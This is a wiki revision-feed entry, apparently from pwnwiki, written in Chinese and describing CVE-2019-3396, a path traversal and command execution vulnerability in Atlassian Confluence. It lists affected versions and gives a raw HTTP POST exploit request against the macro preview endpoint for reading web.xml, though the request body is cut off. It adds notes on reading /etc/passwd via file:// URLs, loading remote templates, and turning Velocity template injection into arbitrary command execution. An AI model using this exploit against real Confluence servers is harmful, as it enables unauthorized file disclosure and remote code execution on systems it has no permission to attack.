https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2019-3396_Atlassian_Confluence_%E8%B7%AF%E5%BE%91%E7%A9%BF%E8%B6%8A%26%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E
CVE-2019-3396 Atlassian Confluence 路徑穿越&命令執行漏洞 - Revision history
2026-04-13T23:34:22Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=CVE-2019-3396_Atlassian_Confluence_%E8%B7%AF%E5%BE%91%E7%A9%BF%E8%B6%8A%26%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&diff=2476&oldid=prev
Pwnwiki: Created page with "==漏洞影響== <pre> 所有1.xx，2.xx，3.xx，4.xx和5.xx版本 所有6.0.x，6.1.x，6.2.x，6.3.x，6.4.x和6.5.x版本 6.6.12之前的所有6.6.x版本 所有6.7.x..."
2021-05-05T06:56:33Z
<p>Created page with "==漏洞影響== <pre> 所有1.xx，2.xx，3.xx，4.xx和5.xx版本 所有6.0.x，6.1.x，6.2.x，6.3.x，6.4.x和6.5.x版本 6.6.12之前的所有6.6.x版本 所有6.7.x..."</p>
<p><b>New page</b></p><div>==漏洞影響==<br />
<pre><br />
所有1.xx，2.xx，3.xx，4.xx和5.xx版本<br />
<br />
所有6.0.x，6.1.x，6.2.x，6.3.x，6.4.x和6.5.x版本<br />
<br />
6.6.12之前的所有6.6.x版本<br />
<br />
所有6.7.x，6.8.x，6.9.x，6.10.x和6.11.x版本<br />
<br />
6.12.3之前的所有6.12.x版本<br />
<br />
6.13.3之前的所有6.13.x版本<br />
<br />
6.14.2之前的所有6.14.x版本<br />
</pre><br />
<br />
<br />
==漏洞利用==<br />
發送如下數據包，即可讀取文件web.xml<br />
<br />
<pre><br />
POST /rest/tinymce/1/macro/preview HTTP/1.1<br />
Host: localhost:8090<br />
Accept-Encoding: gzip, deflate<br />
Accept: */*<br />
Accept-Language: en<br />
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)<br />
Connection: close<br />
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&<br />
Content-Type: application/json; charset=utf-8<br />
Content-Length: 176<br />
<br />
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","w<br />
</pre><br />
<br />
<br />
6.12以前的Confluence沒有限製文件讀取的協議和路徑，我們可以使用file:///etc/passwd來讀取文件，也可以通過https://...來加載遠程文件。<br />
<br />
該文件是一個Velocity模板，我們可以通過模板注入（SSTI）來執行任意命令。</div>
Pwnwiki